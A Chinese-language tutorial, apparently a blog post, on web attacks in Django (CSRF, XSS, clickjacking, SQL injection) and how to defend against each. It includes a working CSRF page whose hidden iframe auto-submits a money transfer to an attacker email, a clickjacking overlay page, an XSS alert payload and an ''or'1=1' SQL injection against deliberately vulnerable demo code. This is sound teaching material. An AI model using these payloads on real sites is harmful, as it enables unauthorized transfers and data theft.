CSRF攻击

原理

  跨站请求伪造。是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

  网站通过cookie来实现登录功能。而cookie只要存在浏览器中,那么浏览器在访问含有这个cookie的服务器的时候,会自动的携带cookie信息到服务器上去。就会存在一个漏洞:当你访问了一个病毒网站时,该网站可以在网页源代码中插入js代码,使用js代码给其他服务器发送请求(如ICBC的转账请求)。因为在发送请求的时候,浏览器会自动的把cookie发送给对应的服务器,这时候相应的服务器(如ICBC网站)不知道这个请求是伪造的,就被欺骗过去了。从而达到在用户不知情的情况下,给某个服务器发送了一个请求(比如转账)。

iframe:

  1. 可以加载嵌入别的域名下的网页。即可以发送跨域请求。
  2. 因为iframe加载的是别的域名下的网页。根据同源策略,js只能操作属于本域名下的代码,因此js不能操作通过iframe加载来的DOM元素。
  3. 如果ifrmae的src属性为空,那么就没有同源策略的限制,这时候可以操作iframe下面的代码了。并且,如果src为空,那么可以在iframe中,给任何域名都可以发送请求。
  4. 直接在iframe中写html代码,浏览器是不会加载的。

可利用iframe的功能对网站进行攻击

例:银行网站的转账相关简易代码

 # 转账
# 登录后,进行转账时确认转账用户的邮箱及转账金额;
@method_decorator(login_required,name='dispatch')
class TransferView(View):
def get(self,request):
return render(request,'transfer.html') def post(self,request):
form = TransferForm(request.POST)
if form.is_valid():
email = form.cleaned_data.get('email')
money = form.cleaned_data.get('money')
# 验证是否有session信息
user = request.front_user
if user.balance >= money:
User.objects.filter(email=email).update(balance=F('balance')+money)
# 当前用户;
user.balance -= money
user.save()
return HttpResponse('转账成功!')
else:
return HttpResponse('余额不足!')
else:
print(form.errors)
return redirect(reverse('transfer'))

攻击方的代码:

 <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>首页</title>
<script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<!--用户看到的界面图片-->
<img src="http://cms-bucket.nosdn.127.net/312e057a25f148519dc02b40812c78fe20170510155251.gif" alt="" width="100%" height="100%"> <!--使用iframe,src不加载网页,为空可给任何域名发送请求,添加id的值获取HTML代码-->
<iframe id="stealframe" src="" frameborder="0" style="width:0;height:0;">
</iframe>
<div id="box" style="width: 0;height: 0;">
<form action="http://127.0.0.1:8000/transfer/" method="post" id="myform">
<input type="text" name="email" value="attacker123@qq.com">
<input type="text" name="money" value="100">
</form>
</div>
<script>
//获取html=myform的代码
window.onload = function () {
$('#stealframe').contents().find('html').html($('#myform'));
//自动提交代码
$('#stealframe').contents().find('html').children('#myform').submit();
}
</script>
</body>
</html>

每运行一次攻击者网站,内部将提交一遍 id=form 的html代码, iframe 设置其为不加载该HTML网页但进行网页内部的请求操作。

防御CSRF攻击

  CSRF攻击的要点就是在向服务器发送请求的时候,相应的cookie会自动的发送给对应的服务器。造成服务器不知道这个请求是用户发起的还是伪造的。这时候,可以在用户每次访问有表单的页面的时候,在网页源代码中加一个随机的字符串叫做 csrf_token ,在cookie中也加入一个相同值的 csrf_token 字符串。以后给服务器发送请求的时候,服务器只有检测到cookie中和网页body中的 csrf_token 都相同,才认为这个请求是正常的,否则就是伪造的。

在Django中防御CSRF攻击

  1. settings.MIDDLEWARE中添加 CsrfMiddleware 中间件。
  2. 在模版代码中添加一个input标签,加载 csrf_token 。
    • 模版中添加代码: <input type="hidden" name="csrfmiddlewaretoken" value="{{ csrf_token }}"/>
    • 或直接使用‘csrf_token标签’,来自动生成一个带有 csrf token 的‘input标签’: {% csrf_token %}

使用ajax处理csrf防御:

  用ajax来处理csrf防御,需要手动的在form中添加csrfmiddlewaretoken,或者是在请求头中添加 X-CSRFToken 。我们可以从返回的cookie中提取csrf token,再设置进去。

 //static:myajax.js
function getCookie(name) {
var cookieValue = null;
if (document.cookie && document.cookie !== '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
if (cookie.substring(0, name.length + 1) === (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
} var myajax = {
'get': function (args) {
args['method'] = 'get';
this.ajax(args);
},
'post': function (args) {
args['method'] = 'post';
this._ajaxSetup();
this.ajax(args);
},
'ajax': function (args) {
$.ajax(args);
},
'_ajaxSetup': function () {
$.ajaxSetup({
beforeSend: function(xhr, settings) {
if (!/^(GET|HEAD|OPTIONS|TRACE)$/.test(settings.type) && !this.crossDomain) {
xhr.setRequestHeader("X-CSRFToken", getCookie('csrftoken'));
}
}
});
}
};

在模板中导入:

 {% load static %}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>中国工商银行-转账</title>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
<script src="{% static 'myajax.js' %}"></script>
<script>
$(function () {
$("#submit").click(function (event) {
event.preventDefault();
var email = $("input[name='email']").val();
var money = $("input[name='money']").val(); myajax.post({
'url': '/transfer/',
'data': {
'email': email,
'money': money
},
'success': function (data) {
// 如果状态码是等于200才会走到success的回调中
console.log(data);
},
'fail': function (error) {
console.log(error);
}
});
});
});
</script>
</head>
--snip--

XSS攻击:

  跨站脚本攻击。是一种网站应用程序的安全漏洞攻击,是代码注入的一种,利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

  比如A网站有一个发布帖子的入口,如果用户在提交数据的时候,提交了一段js代码 <script>alert("hello world");</script> ,然后A网站在渲染这个帖子的时候,直接把这个代码渲染了,那么这个代码就会执行,会在浏览器的窗口中弹出一个模态对话框来显示 hello world! ,攻击者可利用该漏洞进行攻击。

<li>&lt;script&gt;alert(&quot;Hello world&quot;)&lt;/script&gt;</li>

防御:

  1. 如果不需要显示一些富文本,那么在渲染用户提交的数据的时候,直接进行转义。在Django的模板中默认就是转义的。也可以把数据在存储到数据库之前,先转义再存储进去,这样以后在渲染的时候,即使不转义也不会有安全问题。

     # 使用escape在存储前先进行转义
    @require_http_methods(['POST'])
    def add_comment(request):
    content = request.POST.get('content')
    content = escape(content)
    Comment.objects.create(content=content)
    return redirect(reverse('index'))
  2. 如果对于用户提交上来的数据包含了一些富文本(比如:给字体换色,字体加粗等),在渲染的时候也要以富文本的形式进行渲染,也即需要使用 safe过滤器 将其标记为安全的,这样才能显示出富文本样式,但标签全通过会有安全隐患。所以可以使用 bleach库 的 sanitizer ,在服务器处理数据的时候,将需要的标签保留下来,把那些不需要的标签进行转义或者移除掉。
     <!--html模板代码-->
    <!--safe会通过所有的标签-->
    {% for comment in comments %}
    <li>{{ comment.content | safe}}</li>
    {% endfor %}
     # 使用bleach库
    
     from django.shortcuts import render,redirect,reverse
    from .models import Comment
    from django.views.decorators.http import require_http_methods
    from django.template.defaultfilters import escape
    import bleach
    from bleach.sanitizer import ALLOWED_TAGS,ALLOWED_ATTRIBUTES # 首页,显示出数据库中comments所有的值,
    def index(request):
    context = {
    'comments':Comment.objects.all()
    }
    return render(request,'index.html',context=context) # 将提交的数据保存并返回首页
    @require_http_methods(['POST'])
    def add_comment(request):
    content = request.POST.get('content')
    # 在bleach库已默认允许通过的标签、属性上再添加需要的新标签及属性
    tags = ALLOWED_TAGS + ['img']
    attributes = {**ALLOWED_ATTRIBUTES,'img':['src']}
    # 对提交的数据进行过滤
    cleaned_data = bleach.clean(content,tags=tags,attributes=attributes)
    Comment.objects.create(content=cleaned_data)
    return redirect(reverse('index'))

bleach库:

  • tags:表示允许哪些标签。
  • attributes:表示标签中允许哪些属性。
  • ALLOWED_TAGS:默认定义的一些标签。如果不符合要求,可以对其进行增加或者删除。
  • ALLOWED_ATTRIBUTES:默认定义的一些属性。如果不符合要求,可以对其进行增加或者删除。

clickjacking攻击:

  又称作点击劫持攻击。是一种在网页中将恶意代码等隐藏在看似无害的内容(如按钮)之下,并诱使用户点击的手段。

两种攻击方式:

  1. 攻击者使用一个透明的iframe,覆盖在一个网页上,然后使用户在该页面上进行操作,如网页包含了一个按钮A,按钮上面浮了一个透明的iframe标签,用户将在不知情的情况下点击透明的iframe页面进行加载。
  2. 攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义;如用户收到一封包含一段视频的电子邮件,但其中的“播放”按钮并不会真正播放视频,而是链入一购物网站。这样当用户试图“播放视频”时,实际是被诱骗而进入了一个购物网站。
 # clickjacking攻击
def index(request):
return render(request,'clickjacking.html')
 <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>点击劫持</title>
<style>
iframe{
width:100%;
height:100%;
display:block;
position: absolute;
z-index: 2;
opacity: 0.01;
}
button{
position: absolute;
top: 45px;
left: 180px;
z-index: 1;
}
</style>
</head>
<body>
点击下方的按钮将会进行跳转:
<button>跳转按钮</button>
<iframe src="https://www.bilibili.com/video/av21663728/?p=33" frameborder="0"></iframe>
</body>
</html>

z-index :设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面。

position: 规定元素的定位类型。

opacity :设置元素的不透明级别。

clickjacking防御

  设置网站不允许使用iframe被加载到其他网页中,就可以避免这种攻击。可以通过在响应头中设置 X-Frame-Options 来设置这种操作。

X-Frame-Options 可设置的值:

  • DENY:不让任何网页使用iframe加载该页面。
  • SAMEORIGIN:只允许在相同域名(即本人的网站)下使用iframe加载该页面。
  • ALLOW-FROM origin:允许任何网页通过iframe加载该网页。

  在Django中可使用中间件 django.middleware.clickjacking.XFrameOptionsMiddleware ,这个中间件设置了“X-Frame-Option”为 SAMEORIGIN ,即在同域名的网站下才可以使用iframe加载这个网页,可避免被攻击者通过iframe去加载了。

SQL注入

  通过把SQL命令插入到表单中或页面请求的查询字符串中,程序忽略了字符检查,最终达到欺骗服务器执行恶意的SQL命令。利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

下方代码在网页输入 ?username=*** 时,可在后面再添加内容进行注入攻击:

 # SQL注入攻击
def index(request):
username = request.GET.get('username')
context = {}
if username:
cursor = connection.cursor()
cursor.execute("select id,username from front_user where username='%s'" % username)
rows = cursor.fetcall()
context['rows'] = rows
return render(request,'sql.html',context=context)

当输入 ?usename=***'or'1=1 时:

 # 如果输入:http://127.0.0.1:8000/?username=jack'or'1+1 而不是只输入:http://127.0.0.1/?username=jack
sql = "select id,username from front_user where username='%s'" % "jack ' & '1=1"
# 代码内容将会被改变
sql = "select id,username from front_user where username='jack' or '1=1'"

这将会显示出所有的内容而不单单一个;

sql注入防御:

  • 不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
  • 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。
     # 使用参数化
    def index(request):
    username = request.GET.get('username')
    context = {}
    if username:
    cursor = connection.cursor()
    sql = 'select id,username from front_user where username=%s'
    cursor.execute(sql,(username,))
    rows = cursor.fetchall()
    context['rows'] = rows
    return render(request,'sql.html',context=context)

Django防御sql注入:

  • 使用ORM来做数据的增删改查。因为ORM使用的是参数化的形式执行sql语句的。
  • 如果万一要执行原生sql语句,那么建议不要拼接sql,而是使用参数化的形式。

CSRF、XSS、clickjacking、SQL 的攻击与防御的更多相关文章

  1. 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞

    看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...

  2. Spring MVC 如何防止XSS、SQL注入攻击

    在Web项目中,通常需要处理XSS,SQL注入攻击,解决这个问题有两个思路: 在数据进入数据库之前对非法字符进行转义,在更新和显示的时候将非法字符还原 在显示的时候对非法字符进行转义 如果项目还处在起 ...

  3. Spring MVC防御CSRF、XSS和SQL注入攻击

    参考: http://www.myhack58.com/Article/html/3/7/2012/36142_6.htm http://blog.csdn.net/jasontome/article ...

  4. 安全性测试入门 (三):CSRF 跨站请求伪造攻击和防御

    本篇继续对于安全性测试话题,结合DVWA进行研习. CSRF(Cross-site request forgery):跨站请求伪造 1. 跨站请求伪造攻击 CSRF则通过伪装成受信任用户的请求来利用受 ...

  5. SQL注入攻击和防御

    部分整理...   什么是SQL注入? 简单的例子, 对于一个购物网站,可以允许搜索,price小于某值的商品 这个值用户是可以输入的,比如,100 但是对于用户,如果输入,100' OR '1'=' ...

  6. SQL参数化查询--最有效可预防SQL注入攻击的防御方式

    参数化查询(Parameterized Query 或 Parameterized Statement)是访问数据库时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值. 在使用参 ...

  7. web攻击与防御

    攻击方式 利用输出值转义漏洞 跨站脚本攻击(XSS) SQL注入攻击 OS命令注入攻击 HTTP首部注入攻击 邮件首部注入攻击 文件目录遍历攻击 利用设置或设计缺陷 强制游览 开放重定向 不正确的错误 ...

  8. 教你轻松解决CSRF跨站请求伪造攻击

    摘要:CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也 ...

  9. web服务端安全之SQL注入攻击

    一.SQL注入攻击的原理攻击者在HTTP请求中,注入恶意的SQL代码,并在服务端执行.比如用户登录,输入用户名camille,密码 ' or '1'='1 ,如果此时使用参数构造的方式,就会出现 ' ...

随机推荐

  1. git使用:本地分支merge到远程分支

    背景:为了更加规范维护自动化测试工程,代码提交流程最近更新了,先拉分支到本地修改,完成后同步到远程分支. 前置条件 (1)本地机器可通过ssh与gitlab服务器通信 (2)gitlab上的测试项目中 ...

  2. jenkin如何实现web版本控制&回退

    jenkins本身作为一款运维利器,具备 1. 持续集成 (Continuous integration) 2. 持续交付(Continuous delivery) 3. 持续部署(continuou ...

  3. 使用charles模拟慢速网络

    1.设置慢速网络 点击导航栏的proxy---throttle setting来设置想要的网络情况, 其中有两种方法: (1)勾选Enable Throttling,在Throttle presett ...

  4. 深入了解webpack前,可以了解的小知识点。

    阅读前:文章大概是写,简单用过webpack,想继续深入了解webpack前需要了解的知识.但文章内容跟webpack使用关系并不大. 文章概要: Object.defineProperty call ...

  5. 记一次ORACLE无法启动登陆事故

    打开XSHELL 登陆ORACLE用户 1.sqlplus scott/scott 提示登陆失败 2.sqplus / as sysdba 启动数据库提示 3.查找日志 操作日志:$ORACLE_HO ...

  6. 可能是最简单的把C++Lib包装成C#可用dll的方法

    (想直接看结果的直接翻到最后) 之前对C++接触不多,最近工作需要,第三方给了一个C++的lib库,我们需要把它封装一下在C#中调用.对方要是直接给Dll就省事了... 研究了一下,基本有三个方向: ...

  7. laravel blog edit

    模板复制create的模板 主要修改的地方 <form action="{{ url('admin/article/'.$article->id) }}" method ...

  8. oracle 两张关联表执行更新update

    UPDATE T_ASN_DTL ad1 SET ad1.cf03=( SELECT ac.TH003 FROM "T_ASN_DTL_copy" ac WHERE ac.udf0 ...

  9. iOS进阶之使用 NSURLProtocol 拦截 HTTP 请求(转载)

    这篇文章会提供一种在 Cocoa 层拦截所有 HTTP 请求的方法,其实标题已经说明了拦截 HTTP 请求需要的了解的就是 NSURLProtocol. 由于文章的内容较长,会分成两部分,这篇文章介绍 ...

  10. 【WEB】带边框的网页页面实现

    前言 这是编程入学者尝试各种技术的备忘记录和自我激励,内容非常简单而单纯. 正文 成品 样式参考    http://tenhou.net/ 上边框 http://tenhou.net/img/f0t ...